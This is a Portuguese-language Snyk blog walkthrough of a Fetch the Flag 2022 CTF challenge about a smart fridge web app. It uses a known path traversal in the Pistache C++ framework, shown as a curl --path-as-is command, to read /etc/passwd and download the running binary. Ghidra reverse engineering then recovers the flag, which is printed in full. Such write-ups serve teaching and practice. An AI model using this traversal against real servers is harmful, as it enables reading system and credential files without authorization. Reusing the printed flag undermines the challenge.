Skip to main content

Solução do CTF Fetch the Flag 2022: Geladeira nem tão inteligente

Escrito por

Antonio Gomes

feature ctf smart fridge

10 de novembro de 2022

0 minutos de leitura

Obrigado por jogar Fetch com a gente! Parabéns aos milhares de jogadores que participaram do Fetch the Flag CTF. E um agradecimento especial aos Snykers que criaram, testaram e documentaram os desafios!

Este desafio do Fetch the Flag CTF começa com uma recepção calorosa e todas as informações necessárias sobre nossa novíssima Smart Fridge Ultra SFU-3000! Empolgante, não é?

Isaac Asimov previu certa vez: “Refeições completas ou semipreparadas podem ser armazenadas na geladeira e ficar prontas para consumo. Os utensílios da cozinha poderão preparar ‘refeições automáticas’, aquecer água e fazer café”. E aqui estamos, usando esta geladeira para pedir produtos e até tocar música pelo sistema de áudio. Incrível!

Tela de boas-vindas do Smart Fridge v0.1, com navegação para Início, Produtos, Música e Configurações, além de um texto sobre como pedir produtos e ouvir música.

Bem, foi empolgante até eu descobrir que o recurso Music não estava disponível. E o recurso Settings, que permitiria atualizar o firmware da geladeira, estava com defeito. Ou seja, não havia como atualizá-lo de pistache/0.0.3.20220107 para a versão mais recente. Pelo menos sabemos qual é a versão do firmware, o que vai nos ajudar a identificar a flag e resolver este desafio!

Tela de configurações do sistema Smart Fridge v0.1 mostrando o status online, o modelo SFU-3000 e a versão do framework de software

Passo a passo

Depois de acessar a página web da nossa Smart Fridge Ultra SFU-3000 — e nos decepcionarmos com seus recursos de verdade —, fomos até Settings e descobrimos que o firmware é pistache/0.0.3.20220107. Para quem não conhece o pistache, ele é um framework moderno de HTTP e REST para C++, o que é ótimo, pois nos dá pistas sobre o software por trás da página web do desafio.

Com essas informações, podemos consultar a Snyk Intel Vulnerability Database para buscar problemas de segurança relacionados a pistache/0.0.3.20220107. Ao pesquisar por pistache, descobrimos que o Pistache é afetado por uma vulnerabilidade de traversal de diretório, que também afeta a versão presente no firmware da nossa geladeira — 0.0.3.20220107. Ótimo: podemos tentar explorá-la com o comando sugerido abaixo na PoC da Snyk.

Página da Snyk Vulnerability Database que mostra uma vulnerabilidade de travessia de caminho de gravidade média no pacote pistacheio/pistache.

Ao executar curl --path-as-is, o curl não removerá as sequências /../ do caminho completo. Isso também nos permitirá obter os resultados abaixo, que comprovam que conseguimos recuperar a lista de usuários com acesso ao sistema e aproveitar a vulnerabilidade de traversal de diretório, além de confirmar que temos uma pasta chamada doc.

root:x:0:0:root:/root:/bin/bash
daemon:×:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:×:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp::7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:×:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:×:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/bin/nologin
backup::34:34:backup:/var/backups:/usr/sin/nologin
list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:×:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sin/nologin
nobody:×:65534:65534:nobody:/nonexistent:/usr/sin/nologin
_apt:×:100:65534::/nonexistent:/usr/sbin/nologin

Acessar o caminho da pasta doc nos dará acesso a um documento da API Swagger, que permite identificar os endpoints disponíveis na nossa aplicação web (por exemplo, v1/system/flag/{flag}). A essa altura, já sabemos que estamos lidando com uma aplicação web que usa pistache como binário C++.

Interface da documentação da API Swagger exibindo um endpoint /api.json e rotas GET expansíveis para dados do sistema e de produtos

E agora? Vamos aproveitar o proc do Linux. Mais especificamente, o /proc/self/exe, que aponta literalmente para o processo em execução no momento, que, neste caso, é o binário da aplicação web Pistache. Para isso, executamos o seguinte comando:

curl --path-as-is "http://not-so-smart-fridge.c.ctf-snyk.io:8000/doc/../../proc/self/exe" --output exe

Com isso, podemos baixar o binário do Pistache. Precisaremos fazer engenharia reversa nesse binário para descobrir qual é a flag. Primeiro, vamos baixar uma ferramenta de engenharia reversa de software. Neste caso, vou usar o Ghidra (também disponível para usuários de macOS pelo brew).

Com o Ghidra, vou criar um novo projeto e importar o binário .exe que baixamos anteriormente.

Janela de importação do Ghidra mostrando um executável ELF chamado “exe” sendo adicionado ao projeto “ctf-write-up”

Chegamos à parte mais empolgante do desafio: descobrir como é essa flag! No Ghidra, vamos filtrar os resultados por “flag”. Assim, descobrimos que há um método chamado checkFlag, cujo conteúdo pode ser visto na imagem abaixo, na janela Decompile: checkFlag - (exe).

Interface de engenharia reversa do Ghidra exibindo código assembly, código C++ descompilado, árvores de programas e uma função chamada checkFlag.

Ao analisar a janela decompilada, vemos que a flag deve ter 70 caracteres:

if lVar4 == 0x46. A condição definida no código original verifica que lVar4 contém o tamanho da flag fornecida como entrada, enquanto 0x46 corresponde a 70 em decimal.

Close-up de código-fonte com engenharia reversa, mostrando atribuições de variáveis e valores hexadecimais identificados por cores.

Se a condição acima for satisfeita — length == 70 —, veremos que outro método, chamado checkIndexes, será executado.

Captura de tela em close-up de código de computador, mostrando uma chamada da função checkIndexes destacada e um comentário try.

Como podemos ver nas imagens acima e abaixo, checkIndexes espera uma string de flag do programa, um vetor com uma série de índices e um caractere — '7' na imagem acima.

Janela do descompilador exibindo o código da função checkIndexes, incluindo a iteração de vetores e a lógica de comparação de caracteres.

O que isso significa? Que cada chamada de checkIndexes valida um caractere em n posições de índice para verificar se a string da flag é válida. A lógica é chamar todos os métodos checkIndexes; se todos forem aprovados, significa que identificamos a flag. Para descobrir a flag, podemos investigar o arquivo desmontado e tentar converter cada variável local_* de hexadecimal para decimal, descobrindo a posição

Código C++ descompilado que mostra atribuições de variáveis locais, inicialização de vetor e uma chamada à função checkIndexes.
0xd = 13, 0x16 = 22, 0x1d = 29, x27 = 39, 0x28 = 40, 0x2d = 45, 0x3b = 59

{13, 22, 29, 39,40, 45, 59} corresponde à lista de índices em que o caractere `5` aparece na flag. Agora vamos montar a flag:

SNYK{6af6761359c4b442f534071351518abb7155c48d59df4bb80188ea57ed71eecc}

Outra forma de identificar todos os índices de cada vetor alocado é usar um script (confira o código). Para isso, exportamos o programa como um arquivo C/C++, removemos todo o restante e consideramos apenas o método checkFlag . Depois, usamos um script adicional para analisá-lo, converter as variáveis local_* de hexadecimal para decimal e encontrar os índices de cada caractere até reconstruir a flag.

Visual Studio Code exibindo um script Python, código-fonte em C e a saída do terminal com uma string de flag recuperada

Mais esperta que uma geladeira

Neste desafio, aprendemos a usar a Snyk para identificar uma vulnerabilidade de traversal de diretório em uma aplicação web C++, acessar e baixar o binário do processo em execução, fazer engenharia reversa com o Ghidra e descobrir a flag analisando o binário decompilado. Divertido!

É isso! Espero que você tenha gostado dos desafios. Obrigado por participar do Snyk CTF 2022! Quer saber como encontramos todas as outras flags? Acesse nossa página de soluções do Fetch the Flag e confira.